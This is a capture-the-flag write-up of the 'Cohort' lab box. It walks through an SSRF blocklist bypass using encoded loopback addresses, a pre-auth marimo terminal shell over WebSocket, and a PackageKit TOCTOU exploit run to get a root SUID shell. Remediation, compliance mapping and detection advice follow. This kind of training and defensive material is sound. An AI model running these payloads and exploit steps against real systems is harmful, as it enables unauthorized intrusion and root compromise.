Cohort
- Target
- cohort.htb — "Cohort Analytics"
- Host OS
- Ubuntu 24.04.4 LTS · kernel 6.8.0-136
- Foothold
- SSRF (blocklist bypass) → CVE-2026-39987 (marimo pre-auth RCE)
- Privesc
- CVE-2026-41651 — PackageKit "Pack2TheRoot" TOCTOU
This one looked small from the outside and stayed small — but it is a clean lesson in trusting the wrong boundary twice. A public form let me forge requests into the box's own loopback, an internal notebook server was carrying a pre-auth shell, and the only thing standing between me and root was a single package someone had pinned back at a vulnerable version. I have written it up the way I would hand it to a client: what I did, then how I would stop it happening.
01Recon
Cohort Analytics is a small marketing site for a fictional retention-analytics consultancy. Three ports, nothing exotic:
nmap -sC -sV -T4 <target>
| Port | Service | Notes |
|---|---|---|
| 22 | ssh | OpenSSH 9.6p1 |
| 80 | http | nginx, 301s to 443 |
| 443 | https | nginx · "Cohort Analytics" SPA |
The TLS certificate was a wildcard for *.cohort.htb. I noted it and moved on — it reads
like a lead but it is not one directly, and it took me a while to realise it was the whole game.
echo "<target> cohort.htb" | sudo tee -a /etc/hosts
curl -sk https://cohort.htb/
curl -sk https://cohort.htb/assets/app.js -o app.js
feroxbuster -u https://cohort.htb/ -k \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Brute-forcing ~5,000 subdomain names just found nginx's own catch-all, which 301s anything
unrecognised back to the main site. The one part of the site worth lingering on was a client portal
at /portal.html, offering to "validate" a data-feed URL before onboarding it. Anything
that takes a URL from me and goes and fetches it is worth a hard look.
02The foothold — a blocklist that knew two words
The portal's Validate source button calls POST /api/validate with a URL
and a declared format. The stated safeguard was to reject anything pointing at localhost or a loopback
address. In practice that was a literal string comparison against 127.0.0.1 and
localhost — and a blocklist that only knows two spellings of a thing is not a blocklist
at all. Every alternate way of writing loopback sailed straight through:
# the honest request, to see a normal response
curl -sk -X POST https://cohort.htb/api/validate \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com/","format":"csv"}'
# what the blocklist actually catches
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://127.0.0.1/"}' # blocked
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://localhost/"}' # blocked
# everything it does not
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://127.1/"}' # short form
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://0177.0.0.1/"}' # octal
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://2130706433/"}' # decimal
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://[::ffff:127.0.0.1]/"}' # v4-mapped v6
Root cause: the backend checked the hostname against a fixed BLOCKED_HOSTS list with no
DNS resolution and no normalisation, so any encoding it did not literally list was treated as
"external" and fetched. There is no outbound internet from the box, so this SSRF was only ever going
to matter against internal services — which is exactly what it was for.
03Pivoting inward
With a working bypass, the validator became a blind port scanner against loopback. I swept the low ports and watched for the difference between "connection refused" and an actual response:
for p in $(seq 1 10000); do
curl -sk --max-time 3 -X POST https://cohort.htb/api/validate \
-d "{\"url\":\"http://127.1:$p/\"}" | grep -q 'Connection refused' || echo "OPEN: $p"
done
Two things answered:
5000→ cohort-insights, the same backend I was already talking to. Nothing new.8888→ a marimo reactive-notebook server, sitting behind a password gate.
marimo is a Python notebook, and notebook servers are a gift if you can reach them. I fingerprinted the version through the same SSRF:
curl -sk -X POST https://cohort.htb/api/validate \
-d '{"url":"http://127.1:8888/api/version"}'
# → marimo 0.20.4
04The right CVE, the wrong transport
That version is vulnerable to CVE-2026-39987. marimo before 0.23.0 forgets to
authenticate one WebSocket route: /terminal/ws never calls the auth check that every
other WS route does. It only checks the running mode and platform support, then hands out a live PTY
— no token, no password. On a box running 0.20.4 that is a straight pre-auth RCE.
The catch, and the actual thinking on this box: my only path to 127.0.0.1:8888 was the
SSRF, and the SSRF was a blind, single-shot HTTP GET. I had no control over the method
or the headers, which makes it structurally incapable of the Upgrade: websocket
handshake the exploit needs. I had the right vulnerability behind the wrong door.
05The unlock — the wildcard cert mattered after all
marimo was not only bound to loopback — it was also reachable over a per-notebook dynamic
hostname that nginx proxies straight through to 127.0.0.1:8888. That path is a
normal front-door HTTPS vhost, so it happily carries a full WebSocket upgrade, sidestepping the
SSRF's transport limits entirely. The *.cohort.htb certificate is what makes those
nb-<id> hosts resolvable and trusted. Once I had the notebook id from the SSRF
fingerprint, I pointed straight at it:
echo "<target> nb-<notebook-id>.cohort.htb" | sudo tee -a /etc/hosts
websocat -k wss://nb-<notebook-id>.cohort.htb/terminal/ws
$ id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
$ cat /home/marimo/user.txt
06Privesc — everything that did not work
As marimo I ran the usual sweep — SUID/SGID, sudo, cron and timers, capabilities,
polkit — and it all came up empty:
sudo -V; dpkg -l sudo needrestart
uname -v; dpkg -l 'linux-image*'
cat /etc/modprobe.d/*.conf
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
The kernel was deliberately hardened, with sysctl and modprobe files named
after specific 2026 kernel CVEs — a trap laid to burn time. I checked each one against the exact
build (6.8.0-136.136) instead of assuming, and every single one was already dead:
| Name | CVE | Status |
|---|---|---|
| GhostLock | 2026-43499 | Patched — kernel at fixed build |
| Fragnesia | 2026-46300 | Patched upstream |
| DirtyClone | 2026-43503 | Patched upstream |
| Copy Fail | 2026-31431 | Blocked — algif_aead disabled |
| Dirty Frag | 2026-43284 / 43500 | Blocked — esp4/esp6/rxrpc off |
| pedit COW | 2026-46331 | Blocked — needs CAP_NET_ADMIN; userns off |
| AF_UNIX OOB UAF | 2025-38236 | Patched upstream |
Seven for seven. The kernel path was never it — the point of that section was to make you waste an afternoon on it. I would rather rule a thing out in five minutes with a version check than run an exploit blind, so I moved on.
07Root — a held package
linpeas caught what the manual sweep did not: PackageKit was pinned at a vulnerable build while its own supporting library had been upgraded around it.
bash linpeas.sh > lp.out 2>&1
dpkg -l | grep packagekit
hi packagekit 1.2.8-2ubuntu1.2 # held, vulnerable
ii libpackagekit-glib2-18 1.2.8-2ubuntu1.5 # patched
That hi state — held, half-upgraded — is the whole bug's enabler.
CVE-2026-41651, "Pack2TheRoot", is a deterministic (not racy) TOCTOU in
PackageKit's InstallFiles handling. Two InstallFiles() calls in quick
succession — first with SIMULATE, which skips the polkit prompt, then with the real
flags — let the second call overwrite the cached transaction state before GLib's idle callback runs
it. The daemon then installs whatever the second call pointed at, as root, with no authentication
prompt. Because it is deterministic there is no race to win — it just works.
python3 pack2root.py --check
python3 pack2root.py --no-cleanup --exec 'id; cat /root/root.txt'
[+] SUCCESS: SUID bash at /tmp/.suid_bash
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)
08If this were your environment
This is the part I care about most, because it is the part that maps to my day job. Every finding below has the fix I would write into a report, plus the hardening controls it lands under so you are not taking my word for it.
SSRF — URL validation built on a string-match blocklist (CWE-918)
The validator decided "safe" by comparing the hostname string against two blocked values. Any other encoding of loopback — short, octal, decimal, IPv4-mapped IPv6 — was treated as external and fetched, turning a safety feature into a request-forgery primitive against internal services.
- Stop blocklisting; allow-list instead. Maintain the set of vetted feed providers and reject everything else. A blocklist of "bad" spellings will always miss one.
- Resolve, then validate, then re-check. Resolve the hostname to an IP, reject anything in loopback / link-local / RFC1918 / CGNAT / v4-mapped-v6 ranges, and re-check after resolution to defeat DNS rebinding. Pin the resolved IP for the fetch itself.
- Cage the fetcher. Run the validator in an egress-restricted segment with default-deny; only the declared feed CDNs are reachable. Then even a bypass reaches nothing.
- Harden the client: disable redirects (or re-validate every hop), block non-http(s) schemes, and cap response size and time.
NIST 800-171 r3: 3.13.1 / 3.13.5 boundary protection · 3.14.x input validation
CIS Controls v8: 4.x secure configuration · 13.x network monitoring & egress control
Vendor / OWASP: SSRF Prevention Cheat Sheet — allow-list, block internal ranges, disable unused schemes
Internal marimo exposed with an unauthenticated PTY (CVE-2026-39987)
marimo 0.20.4 served a pre-auth interactive shell on /terminal/ws, and a permissive
wildcard-cert vhost re-exposed the loopback-bound service to the network. Binding to 127.0.0.1 was
undone by the reverse proxy.
- Patch to the fixed version: marimo
>= 0.23.0, which restores the auth check on the terminal route. - Turn the terminal off in server deployments and never run marimo with
--no-tokenanywhere edge-reachable. Require a token, and put proper authentication at the proxy in front of it. - Do not let the proxy re-expose loopback. Scope the wildcard vhost tightly; require authentication for anything that forwards to
127.0.0.1:8888. Loopback is not a security boundary once a catch-all vhost sits in front of it.
NIST 800-171 r3: 3.4.6 least functionality · 3.5.x identification & auth · 3.14.1 flaw remediation
DISA STIG (call-out): Application Security & Development STIG APSC-DV-002540 / -002550 — authenticate all access, no unauthenticated interactive function. This "no unauthenticated management/shell interface" requirement is explicit in the DISA App Sec & Dev STIG but is not spelled out the same way in CIS or NIST — cite the STIG when writing this up for government work.
CIS Controls v8: 4.8 disable unnecessary services · 7.x continuous vulnerability management
Root via a held, partially-upgraded PackageKit (CVE-2026-41651)
The whole root path existed because packagekit was pinned at
1.2.8-2ubuntu1.2 while libpackagekit-glib2-18 had moved to the patched
1.2.8-2ubuntu1.5. A held daemon sitting below its own libraries is the exact condition
the TOCTOU needs.
- Un-hold and patch:
apt-mark unhold packagekit, then updatepackagekitto>= 1.2.8-2ubuntu1.5so the daemon matches its library. - Never hold a security-relevant package below its own libraries. If a pin is unavoidable, pin the whole set together, and alert on any partial-upgrade state.
- Lock down who can call it: use polkit rules to deny unprivileged local users the
org.freedesktop.packagekit.*actions that do not require auth by default.
NIST 800-171 r3: 3.4.1 / 3.4.2 baseline config · 3.14.1 flaw remediation · 3.1.5 least privilege
DISA STIG: Ubuntu 24.04 LTS STIG (UBTU-24-*) — security updates applied, no packages held back from security patching; enforceable via Canonical's Ubuntu Security Guide (USG)
CIS: CIS Ubuntu Linux 24.04 Benchmark 1.9 "updates, patches & additional security software installed"
Vendor: Canonical USN for CVE-2026-41651 — upgrade to the fixed
1.2.8-2ubuntu1.5; do not pin or hold. The freedesktop PackageKit advisory patches the InstallFiles transaction-state handling.
09Detection — the blue-team side
What I would want alerting on if I could not fix it tomorrow:
- SSRF: alert when the validator process opens connections to loopback / RFC1918 ranges, and log the declared host against the resolved host on every request.
- marimo: alert on any
/terminal/wsconnection, on marimo spawning/bin/bashor a PTY, and on outbound activity from the marimo uid. - PackageKit: alert on two
InstallFilesD-Bus calls within a short window from a non-admin uid, on new SUID files appearing in/tmp, and onpackagekitdinstalling local files outside the normal apt flow.
10Takeaways
- A blocklist is not an allow-list. If your SSRF defence is a list of "bad" hostnames, you have already lost — validate after DNS resolution against a list of things you trust.
- Loopback is not a boundary. A wildcard cert and a catch-all proxy vhost quietly re-exposed a service that binding to 127.0.0.1 was meant to protect.
- Match the exploit to the transport you actually have. The RCE was real from the first fingerprint; the work was realising a blind GET could not carry it, and finding the path that could.
- Rule kernel CVEs out with version checks, not exploits. Seven named traps, all dead — five minutes of
dpkgandsysctlbeat an afternoon of running PoCs. - Never hold a package below its own libraries. The entire root path was one pinned daemon. Patch state is attack surface.
◆If this were my environment
The attack moved from a web SSRF into a development notebook and then through an over-privileged package-management path. I would segment development tooling and make every privileged package action explicit and authenticated.
- Place notebooks and developer consoles on a management network, require strong authentication and disable anonymous or cross-origin execution.
- Enforce outbound URL allow-lists and network egress policy so a web application cannot reach loopback or internal administration services.
- Patch PackageKit and its dependencies promptly, restrict D-Bus policy, and remove package-management rights from application identities.
- Use a hardened Linux baseline plus service sandboxing, read-only paths and mandatory access control to contain a compromised worker.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.